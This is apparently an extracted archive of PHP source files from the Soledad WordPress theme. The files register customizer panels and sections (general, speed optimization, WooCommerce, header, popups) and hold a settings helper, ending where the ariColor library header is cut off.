PK     N\r    4  inc/customizer/config/options/speed_optimization.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class SpeedOptimizationOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_speed_section_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Speed Optimization', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_speed_general_section', esc_html__( 'General & Lazyload', 'soledad' ), $this->panelID, __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ) );

		if ( function_exists( 'penci_speed_optimizer_get_stat' ) ) {
			$this->add_lazy_section( 'penci_section_speed_css_section', esc_html__( 'Optimize CSS', 'soledad' ), $this->panelID, __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ) );
			$this->add_lazy_section( 'penci_section_speed_javascript_section', esc_html__( 'Optimize JavaScript', 'soledad' ), $this->panelID, __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ) );
			$this->add_lazy_section( 'penci_section_speed_html_section', esc_html__( 'Optimize HTML', 'soledad' ), $this->panelID, __( 'To use options here in the right way - please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#speed-optimization">this guide</a> first - on <strong>Speed Optimization</strong> section', 'soledad' ) );

		}
	}
}
PK     N\)҂B  B  1  inc/customizer/config/options/woo_translation.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class WooTranslationOption extends CustomizerOptionAbstract {

	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_woo_section_transition_lang_section', esc_html__( 'WooCommerce Text Translation', 'soledad' ), '', __("If you are using WPML or Polylang - Use shortcode [pencilang] inside fields below with multiple languages - Example: <strong>[pencilang en_US='Share' fr_FR='Partager' language_code='Your language text' /]</strong><br>Make sure plugin Penci Shortcodes are activated. You can check languages code <a class='wp-customizer-link' href='https://make.wordpress.org/polyglots/teams/' target='_blank'>here</a>","soledad"));
	}
}
PK     N\k.    )  inc/customizer/config/options/general.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class GeneralOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_general_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'General', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_general_section', esc_html__( 'General Settings', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_body_boxed_section', esc_html__( 'Body Boxed', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_archive_page_section', esc_html__( 'Category, Tags, Search, Archive Pages', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_posts_page_settings_section', esc_html__( 'Posts Page Settings', 'soledad' ), $this->panelID, __( 'You need to set a blog page by go to dashboard > Settings > Reading > Posts page' ) );
		$this->add_lazy_section( 'pencidesign_general_search_page_section', esc_html__( 'Search Settings', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_gdpr_section', esc_html__( 'GDPR Policy', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_social_sharing_section', esc_html__( 'Like Posts & Social Sharing', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_image_sizes_section', esc_html__( 'Manage Image Sizes', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_schema_markup_section', esc_html__( 'Schema Markup', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_typography_section', esc_html__( 'Typography', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_colors_dark_section', esc_html__( 'Dark Mode', 'soledad' ), $this->panelID, __( 'You need to use the default theme in light mode to get it works perfectly.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_general_cursor_section', esc_html__( 'Cursor Effect', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_lvn_section', esc_html__( 'Live Viewer Notification', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_ageverify_section', esc_html__( 'Age Verify', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_userprofile_section', esc_html__( 'User Profile', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_linkmanager_section', esc_html__( 'Links Manager', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_maintenance_mode_section', esc_html__( 'Maintenance Mode', 'soledad' ), $this->panelID, __( 'Set your entire website as MAINTENANCE MODE, meaning the site is offline temporarily for maintenance, or set it as COMING SOON mode, meaning the site is offline until it is ready to be launched.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_general_accessibility_section', esc_html__( 'Accessibility', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_general_extra_section', esc_html__( 'Extra Options', 'soledad' ), $this->panelID );
	}
}
PK     N\      ,  inc/customizer/config/options/exit_popup.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PopupEOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_exit_intent_popup_section_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Exit Intent Popup', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_epopup_section_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_epopup_section_styles_section', esc_html__( 'Styles & Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\j콞    /  inc/customizer/config/options/pages_options.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PagesOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_single_page_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Pages', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_spage_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spage_header_section', esc_html__( 'Page Header', 'soledad' ), $this->panelID, __('Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/page-header.png">this image</a> to know what is "Page Header"','soledad') );
		$this->add_lazy_section( 'penci_section_spage_404_section', esc_html__( '404 Page', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spage_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\    &  inc/customizer/config/options/init.phpnu [        <?php
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/custom_css.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/featured_slider.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/featured_video.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/footer.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/general.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/homepage.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/logo_header.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/pages_options.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/popup.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/exit_popup.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/ad_blocker.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/helpful_articles.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/push_notification.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/post_layouts.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/sidebar.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/single_post.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/toc.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/social_media.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/speed_optimization.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/text_translation.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/topbar.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/verticalnav-hamburger.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/woo_translation.php';
require_once PENCI_SOLEDAD_DIR . '/inc/customizer/config/options/woocommerce.php';PK     N\<`    ,  inc/customizer/config/options/custom_css.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class CustomCSSOption extends CustomizerOptionAbstract {


	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_custom_css_section', esc_html__( 'Custom CSS', 'soledad' ), '', esc_html__( 'Add your custom CSS which will overwrite the theme CSS', 'soledad' ) );
	}
}
PK     N\̉=	  	  7  inc/customizer/config/options/verticalnav-hamburger.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class VerticalNavHamburgeOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_vernav_hamburger_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Vertical Navigation & Hamburger Menu', 'soledad' ),
			'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-navigation.png">this image</a> to know what is Vertical Navigation and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger.png">this image</a> to know what is Hamburger Menu.<br>Most of the options here applies for both Vertical Navigation & Hamburger Menu. When you enable Vertical Navigation - of course, the Hamburger Menu will does not display.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_menu_hbg_section', esc_html__( 'General', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-navigation.png">this image</a> to know what is Vertical Navigation and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger.png">this image</a> to know what is Hamburger Menu.<br>Most of the options here applies for both Vertical Navigation & Hamburger Menu. When you enable Vertical Navigation - of course, the Hamburger Menu will does not display.', 'soledad' ) );
		$this->add_lazy_section( 'penci_menu_hbg_widgets_section', esc_html__( 'Widgets', 'soledad' ), $this->panelID, __( 'When you use Vertical Navigation or Hamburger Menu, you can add widgets display above or below the menu like on <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger-widgets.png">this image</a> via Appearance > Widgets > drag & drop widgets on the left side to "Sidebar Hamburger Widgets Above Menu" and "Sidebar Hamburger Widgets Below Menu" - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/hamburger-widgets2.png">this image</a>.', 'soledad' ) );
		$this->add_lazy_section( 'penci_menu_hbg_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\(r9  9  -  inc/customizer/config/options/logo_header.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class LogoHeaderOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_logoheader_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Logo & Header', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_builder_general_section', esc_html__( 'Header Builder', 'soledad' ), $this->panelID, __( 'You can add new and edit a header builder on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci_builder' ) ) . '">this page</a>.<br>Please check <a class="wp-customizer-link" href="https://www.youtube.com/watch?v=kUFqsVYyJig&list=PL1PBMejQ2VTwp9ppl8lTQ9Tq7I3FJTT04&index=4" target="_blank">this video tutorial</a> to know how to setup your header builder.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_logo_header_logo_section', esc_html__( 'Logo', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_logo_header_slogan_section', esc_html__( 'Slogan Text', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/slogan-text.png">this image</a> to know what is Slogan text. Note that slogan text does not supports on some header styles', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_primary_menu_section', esc_html__( 'Main Bar & Primary Menu', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/mainbar-primary.png">this image</a> to know what is "Main Bar" and "Primary Menu"', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_category_megamenu_section', esc_html__( 'Category Mega Menu', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/category-mega-menu.png">this image</a> to know what is Category Mega Menu. To config a category mega menu, please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#menu">this guide</a>', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_header_signupform_section', esc_html__( 'Header SignUp Form', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/header-signup-form.png">this image</a> to know where is "Header Sign-Up Form".<br>To config Header SignUp Form, please use the HTML markup like we said on the documentation <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#setup_mailchimp">here</a>, after that go to <strong>Appearance > Widgets > drag & drop widget "Mailchimp Sign-Up Form" to "Header Sign-Up Form"</strong> - check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/header-signup-form-widget.png">this image</a>.<br>If you use Elementor or WPBakery Page Builder to config your page, you can use element "Penci Mailchimp" to get it display.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_verticalnav_section', esc_html__( 'Vertical Mobile Navigation', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/vertical-mobile-navigation.png">this image</a> to know what is Vertical Mobile Navigation.', 'soledad' ) );
		$this->add_lazy_section( 'pencidesign_logo_header_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_logo_header_colors_trans_section', esc_html__( 'Colors for Transparent Header', 'soledad' ), $this->panelID );
	}
}
PK     N\?:!?	  ?	  -  inc/customizer/config/options/single_post.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class SinglePostOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_single_post_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Single Posts', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_spost_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_inline_reposts_section', esc_html__( 'Inline Related Posts', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_related_posts_section', esc_html__( 'Related Posts', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_comments_section', esc_html__( 'Comments Form', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_reading_progress_section', esc_html__( 'Post Reading Progress Bar', 'soledad' ), $this->panelID);
		$this->add_lazy_section( 'penci_section_spost_autoload_section', esc_html__( 'Infinity Scrolling Load Posts', 'soledad' ), $this->panelID, esc_html__( 'When you viewing a single post page, scroll down and this feature can help you load the next/previous posts automatically.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_select_share_section', esc_html__( 'Share Selection Text', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_cpost_meta_section', esc_html__( 'Show Custom Post Meta', 'soledad' ), $this->panelID, __('The options here are not applied for Single Post Builder.','soledad') );
		$this->add_lazy_section( 'penci_section_spost_cptype_builder_section', esc_html__( 'Custom Post Types Builder', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_pformats_builder_section', esc_html__( 'Post Formats Builder', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_fontsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_spost_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\.ܚ    1  inc/customizer/config/options/featured_slider.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class FeaturedSliderOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_featured_slider_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Featured Slider', 'soledad' ),
			'description' => __( 'This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.<br>If you use Elementor or WPBakery to config your pages, you can use element "Penci Featured Slider" to get the slider display.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_fslider_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_fslider_fsize_section', esc_html__( 'Font Sizes', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_fslider_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\C^E  E  )  inc/customizer/config/options/sidebar.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class SidebarOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_sidebar_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Sidebar', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_sidebar_general_section', esc_html__( 'General', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/widget-heading-title.png">this image</a> to know what is "Sidebar Widget Heading"', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_sidebar_fsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_sidebar_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\]  ]  *  inc/customizer/config/options/homepage.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class HomepageOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_homepage_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'          => $this->panelID,
			'title'       => esc_html__( 'Homepage', 'soledad' ),
			'description' => __( 'This is a powerful WordPress theme, it supports 3 ways to help you can setup a homepage - you can check more <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#homepage">here</a>.<br>And most of all the options here apply when you use <strong>WAY 2: Config Homepage by use Customize</strong>.', 'soledad' ),
			'priority'    => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_section_homepage_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_homepage_featured_boxes_section', esc_html__( 'Home Featured Boxes', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/featured-boxes.png">this image</a> to understand what is Featured Boxes.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_homepage_popular_posts_section', esc_html__( 'Home Popular Posts', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/home-popular-posts.png">this image</a> to understand what is Home Popular Posts.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_homepage_title_box_section', esc_html__( 'Home Title Box', 'soledad' ), $this->panelID, __( 'You can understand "Home Title Box" is the block heading title of a featured category or block heading title of the "Latest Posts" section on the homepage.<br>Please check more on <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/home-title-box.png">this image</a>.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_homepage_featured_cat_section', esc_html__( 'Featured Categories', 'soledad' ), $this->panelID, __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-magazine/">this demo</a> for example and <a class="wp-customizer-link" target="_blank" href="https://imgresources.s3.amazonaws.com/featured-categories.png">this image</a> to understand what is Featured Categories.', 'soledad' ) );
		$this->add_lazy_section( 'penci_section_homepage_fontsize_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_section_homepage_colors_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\4}s
  s
  -  inc/customizer/config/options/woocommerce.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class WooCommerceOption extends CustomizerOptionAbstract {

	public $panelID = 'woocommerce';

	public function set_option() {
		$this->set_section();
	}

	public function set_section() {
		$this->add_lazy_section( 'pencidesign_new_section_woocommerce_section', esc_html__( 'General', 'soledad' ), $this->panelID, __('You can check <a class="wp-customizer-link" href="https://soledad.pencidesign.net/soledad-document/#create_store" target="_blank">this guide</a> to know how to configure your online store.','soledad') );
		$this->add_lazy_section( 'pencidesign_woo_product_catalog_section', esc_html__( 'Shop Settings', 'soledad' ), $this->panelID, __('You can check <a class="wp-customizer-link" href="https://soledad.pencidesign.net/soledad-document/#create_store" target="_blank">this guide</a> to know how to configure your online store.','soledad') );
		$this->add_lazy_section( 'pencidesign_woo_wishlist_settings_section', esc_html__( 'Product Wishlist', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_compare_settings_section', esc_html__( 'Product Compare', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_quickview_settings_section', esc_html__( 'Product Quickview', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_label_settings_section', esc_html__( 'Product Label', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_brand_settings_section', esc_html__( 'Product Brands', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_single_settings_section', esc_html__( 'Single Product', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_cart_page_section', esc_html__( 'Cart Page', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_ordercompleted_page_section', esc_html__( 'Order Completed Page', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_mobile_settings_section', esc_html__( 'Mobile Settings', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_toast_notify_section', esc_html__( 'Toast Notification', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_filter_sidebar_section', esc_html__( 'Sidebar Filter', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_typo_settings_section', esc_html__( 'Font Size', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'pencidesign_woo_colors_settings_section', esc_html__( 'Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\    '  inc/customizer/config/options/popup.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
class PopupOption extends CustomizerOptionAbstract {

	public $panelID = 'penci_popup_section_panel';

	public function set_option() {
		$this->set_panel();
		$this->set_section();
	}

	public function set_panel() {
		$this->customizer->add_panel( [
			'id'       => $this->panelID,
			'title'    => esc_html__( 'Promo Popup', 'soledad' ),
			'priority' => $this->id,
		] );
	}

	public function set_section() {
		$this->add_lazy_section( 'penci_popup_section_general_section', esc_html__( 'General', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_popup_section_display_section', esc_html__( 'Popup Display', 'soledad' ), $this->panelID );
		$this->add_lazy_section( 'penci_popup_section_styles_section', esc_html__( 'Styles & Colors', 'soledad' ), $this->panelID );
	}
}
PK     N\u,2C  C  2  inc/customizer/config/classes/class-customizer.phpnu [        <?php
/**
 * @author : PenciDesign
 */

namespace SoledadFW\Customizer;

/**
 * Class Theme Soledad Customizer
 */
abstract class CustomizerOptionAbstract {
	/**
	 * @var Customizer
	 */
	protected $customizer;

	protected $id;

	public function __construct( $customizer, $id ) {
		$this->id         = $id;
		$this->customizer = $customizer;
		$this->set_option();
	}

	abstract public function set_option();

	public function add_lazy_section( $id, $title, $panel, $desc = '', $dependency = [] ) {
		$section = [
			'id'          => $id,
			'title'       => $title,
			'panel'       => $panel,
			'description' => $desc,
			'priority'    => $this->id,
			'type'        => 'soledad-fw-lazy-section',
			'dependency'  => $dependency,
		];
		$this->customizer->add_section( $section );
	}

	public function add_link_section( $id, $title, $panel, $url ) {
		$section = [
			'id'       => $id,
			'title'    => $title,
			'panel'    => $panel,
			'priority' => $this->id,
			'type'     => 'soledad-fw-link-section',
			'url'      => $url,
		];
		$this->customizer->add_section( $section );
	}
}
PK     N\hV    /  inc/customizer/framework/util/class-setting.phpnu [        <?php
/**
 * Retrieve Setting for Header Builder
 *
 * @author SoledadFWtheme
 * @since 1.0.0
 * @package header-builder
 */

namespace SoledadFW\Util;

use SoledadFW\Customizer\Customizer;

/**
 * Class Setting
 *
 * @package SoledadFW\Util
 */
class Setting {

	/**
	 * Get value of option
	 *
	 * @param string $id name of setting.
	 * @param mixed  $default default option.
	 *
	 * @return mixed
	 */
	protected static function get_option( $id, $default ) {
		$data = explode( '[', rtrim( $id, ']' ) );

		if ( 1 === count( $data ) ) {
			return get_option( $id, $default );
		} else {
			$option = get_option( $data[0] );
			$key    = $data[1];

			if ( isset( $option[ $key ] ) ) {
				return $option[ $key ];
			} else {
				return $default;
			}
		}
	}

	/**
	 * Get value of theme option (get theme mod)
	 *
	 * @param string $id name of setting.
	 * @param mixed  $default default option.
	 *
	 * @return mixed
	 */
	protected static function get_theme_mod( $id, $default ) {
		return get_theme_mod( $id, $default );
	}

	/**
	 * Get Value of setting (either use option or option)
	 *
	 * @param string $id name of setting.
	 * @param mixed  $default default option.
	 *
	 * @return mixed
	 */
	public static function get( $id, $default = null ) {
		$value  = null;
		$fields = Customizer::get_instance()->get_all_fields();

		if ( isset( $fields[ $id ] ) ) {
			$field = $fields[ $id ];
			$type  = isset( $field['option_type'] ) ? $field['option_type'] : 'theme_mod';

			if ( 'option' === $type ) {
				$value = self::get_option( $id, $default );
			} else {
				$value = self::get_theme_mod( $id, $default );
			}
		}

		return apply_filters( 'soledad_fw_setting_value', $value, $id );
	}

}
PK     N\eX  X  1  inc/customizer/framework/util/class-ari-color.phpnu [        <?php
/**
 * Plugin Name:   ariColor
 * Plugin URI:    http://aristath.github.io/ariColor/
 * Description:   A PHP library for color manipulation in WordPress themes and plugins
 * Author:        Aristeides Stathopoulos
 * Author URI:    http://aristeides.com
 * Version:       1.0
 * Text Domain:   aricolor
 *
 * GitHub Plugin URI: aristath/ariColor
 * GitHub Plugin URI: https://github.com/aristath/ariColor
 *
 * @package     ariColor
 * @category    Core
 * @author      Aristeides Stathopoulos
 * @copyright   Copyright (c) 2016, Aristeides Stathopoulos
 * @license     http://opensource.org/licenses/https://opensource.org/licenses/MIT
 * @since       1.0
 */

namespace SoledadFW\Util;

/**
 * Class Ari_Color
 *
 * @package SoledadFW\Util
 */
